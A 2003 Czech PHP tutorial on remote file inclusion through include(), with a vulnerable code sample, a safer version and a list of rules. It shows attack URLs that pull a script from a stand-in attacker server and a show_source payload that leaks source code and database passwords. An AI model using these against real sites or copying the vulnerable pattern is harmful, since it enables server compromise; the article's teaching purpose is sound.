Bezpečnost především – include v PHP

10. května 2003

Při použití include či require si však lehce můžeme přivodit nebezpečnou díru do aplikace. Popisovaný problém je velmi závažný, protože může zapříčinit nejen zcizení pracně napsaných skriptů, ale třeba i vymazání databáze, protože heslo k ní se dá snadno zjistit. Přesto stále najdeme na webu řadu takto nevhodně naprogramovaných a zranitelných aplikací.

Předem je potřeba si říci, že použití include zde popisovaným způsobem je dnes již překonáno a považuje se za zastaralé, přesto však je dobré tyto možnosti znát. Mohou se totiž hodit pro nějaké úplně jednoduché aplikace (pokud si například chceme trochu vylepšit původně statické stránky) nebo pokud je potřeba rychle opravit starší nevhodně napsanou aplikaci se zde popisovanou chybou. Jak psát aplikace čistějším způsobem popisuje článek Dynamické generovanie stránky v PHP, ještě dále pak jde článek Řízené vkládání zdrojových kódů, který ke vkládaným souborům přistupuje objektově.

Pokud chceme soubor k include zadávat jako parametr v URL, měli bychom se vyhnout zadávání celého jména souboru, tedy včetně přípony a zejména cesty. Jak příponu, tak cestu můžeme ve skriptu určit přímo nebo programově. Obvyklou chybou je neotestování existence souboru, který má include použít.

<?PHP
if ($str==“)
  include(‚home.htm‘);
else
  include($str);
?>

V předchozí části kódu, který byl získán z „index.php“ nejmenované chybně napsané aplikace na českém internetu, je jasně vidět, že skript pomocí proměnné $str "spolkne" jakoukoli stránku, a to i stránku, která je zadaná pomocí URL (například http://chybnaaplikace.cz/index.php?str=http://interval.cz). Fakt, že autor nezná zřejmě ani funkci empty(), kterou by se spíše hodilo použít na testování zadaného parametru, ani nekomentuji. (Podotýkám, že jde o situaci, kdy PHP neběží v takzvaném „safe-mode“.) Principiálně bychom však vždy, nezávisle na prostředí, v němž aplikace pracuje, měli dbát na její zabezpečení. Navíc si povšimněte, se k proměnné předané do skriptu přistupuje autor zastaralým způsobem – v dalších ukázkách budeme důsledně používat nových superglobálních polí pro přístup k předávaným údajům.

Zkuste uvážit, co se stane, když si vytvoříte kdekoli na internetu soubor s příponou txt, ve kterém bude takovýto kód PHP:

<?php show_source(‚index.php‘); ?>

Protože se obsah souboru na zdrojovém serveru (díky příponě) nebude interpretovat, stránka chybně napsané aplikace "spolkne" kód, ve kterém je povel pro vypsání jejího zdrojového kódu aplikace. Díky tomu se přímo v zobrazené stránce této aplikace objeví její zdrojový kód tak, jak ho autor naprogramoval! Tím pádem je možné si v kódu počíst a případně si tak zjistit cesty a názvy dalších skriptů, zejména těch, které zajišťují připojení k databázi a obsahují jména i hesla. V závislosti na konfiguraci serveru pak lze i spouštět systémové programy (pomocí funkcí system nebo exec). Odtud je již jen krok k vylistování obsahu adresáře nebo obsahu důležitých systémových souborů serveru. (Návod ovšem z pochopitelných důvodů neuvádím.)

Možná někdo namítne, že postačí k zadanému parametru funkce include zadat příponu souboru (tedy tak, aby se přípona nezadávala v URL, ale doplnila se až ve skriptu, například include ($_GET['str'].'.php')). Pokud URL zadáme stejně, jako v předchozím případě, adresa předaná funkci je nesmyslná a nic se neprovede. Jiná situace ovšem nastane, když někdo zadá URL takto: http://chybnaaplikace.cz/index.php?str=http://serverhackera.cz/hack.php?aaa=bbb. Všimněte si, že při takto zadané URL se pak ve skriptu přidané .php stane součástí hodnoty parametru aaa (ten pak sice bude mít nesmyslnou hodnotu bbb.php, což je ale serveruhackera.cz obvykle jedno), a záškodnický skript má cestu opět volnou.

Co se týká přípon souborů, které chceme v naší aplikaci vkládat, je třeba podotknout (jak padlo i v diskusi ke zmíněnému článku), že ve skriptech je vhodné používat pouze ty přípony, v nichž je vždy zpracováván kód PHP. Pokud by někdo odhadl jméno souboru a třeba i cestu, pak si v případě, že server nezpracuje ve skriptu PHP kód, může útočník přímo číst obsah skriptu. Pokud bude přípona souboru taková, že ke zpracování kódu dojde, nepřečte si útočník nic.

Příklad vhodně napsané aplikace využívající include:

$filename=’pages/main.php‘; // výchozí stránka
if (!empty($_GET[‚app‘])) // je požadována nějaká aplikace/skript?
{
  if (File_Exists (‚Controls/‘.$_GET[‚app‘].‘.php‘))
  { // pokud existuje požadovaný skript ve složce Controls, nastavit vkládaný soubor na jméno skriptu
    $filename=’Controls/‘.$_GET[‚app‘].‘.php‘;
  }
}
elseif (!empty($_GET[‚page‘])) // nebo je požadována nějaká stránka?
{
  if (File_Exists(‚Pages/‘.$_GET[‚page‘].‘.php‘))
  { // pokud existuje požadovaná stránka ve složce Pages, nastavit vkládaný soubor na jméno stránky
    $filename=’Pages/‘.$_GET[‚page‘].‘.php‘;
  }
}
include ($filename); // vložit soubor

Vložené stránky jsou aplikaci předávány pomocí parametrů app a page. Pokud má parametr app nějakou hodnotu, otestuje se existence požadovaného souboru ve složce Controls. Pokud existuje, nastaví se proměnná $filename na cestu k souboru. To samé se provede pro parametr page. Dva parametry jsou určeny pro vkládání souborů z různých adresářů. V našem případě je parametr page určen pro víceméně statické části, které jsou jako jednotlivé soubory uloženy ve složce Pages, zatímco parametr app slouží ke vkládání obslužných skriptů, které jsou pro přehlednost uloženy zvlášť ve složce Controls.

Ještě před začátkem testování je nastavena výchozí stránka, která se zobrazí vždy při vstupu (kdy nejsou zadány žádné parametry) nebo tehdy, není-li zadaný parametr platný. Aplikace je potom imunní vůči „chybám“. Pokud někdo zkouší měnit parametry URL, naše aplikace tvrdošíjně vrací výchozí stránku, neobjevují se žádná chybová hlášení a hlavně, aplikace je bezpečná.

Důležité je, že také do parametru pro include je zařazeno jméno adresáře, takže i kdyby se netestovalo, v tomto případě nebude možné provést vložení souboru z jiného serveru. Potřebujeme-li rozšířit aplikaci, aby obsluhovala více parametrů, je sice možné doplnit zvláštní parametr a cesty k adresářům přidělovat pomocí příkazu case nebo pomocí asociativního pole, ovšem zde bych již opravdu doporučil využít raději metod objektového programování.

Skripty, které jsou určeny pro vkládání pomocí funkce include, musí být napsány tak, aby při samotném zavolání (zadání celé cesty k nim do prohlížeče) nepáchaly žádné škody a nevypisovaly žádná hlášení, ze kterých by útočník mohl třeba zjistit více o struktuře aplikace. Zejména jsou kritické skripty pro práci s databází, kde by mohl nevhodně napsaný skript při samotném zavolání databázi vymazat, nebo třeba nastavit u všech položek stejnou hodnotu a podobně.

Shrnutí

  1. Pro všechny vložené skripty používat příponu php nebo takovou, která označuje soubory, v nichž je interpretován kód PHP.
  2. Vždy testovat, zda existuje soubor, zadávaný uživatelem jako parametr funkce include (odkazem v URL nebo z formuláře).
  3. Nepředávat v URL zbytečně cesty k adresářům (není to až tak nebezpečné, ale vypadá to neprofesionálně a hlavně je to zbytečné).
  4. Testovat, testovat, testovat – nejen všechny možné varianty chování aplikace při zadávání různých parametrů do URL, ale také odolnost proti útočníkům znalým cesty k adresáři se skripty a jmen skriptů samých, kteří by se pokusili přímo spustit skript určený k vložení.
  5. Pokud možno se vůbec vyhnout tomuto „primitivnímu“ způsobu použití include.

Starší komentáře ke článku

Pokud máte zájem o starší komentáře k tomuto článku, naleznete je zde.

Štítky: Články

Mohlo by vás také zajímat

Nejnovější

Napsat komentář

Vaše e-mailová adresa nebude zveřejněna. Vyžadované informace jsou označeny *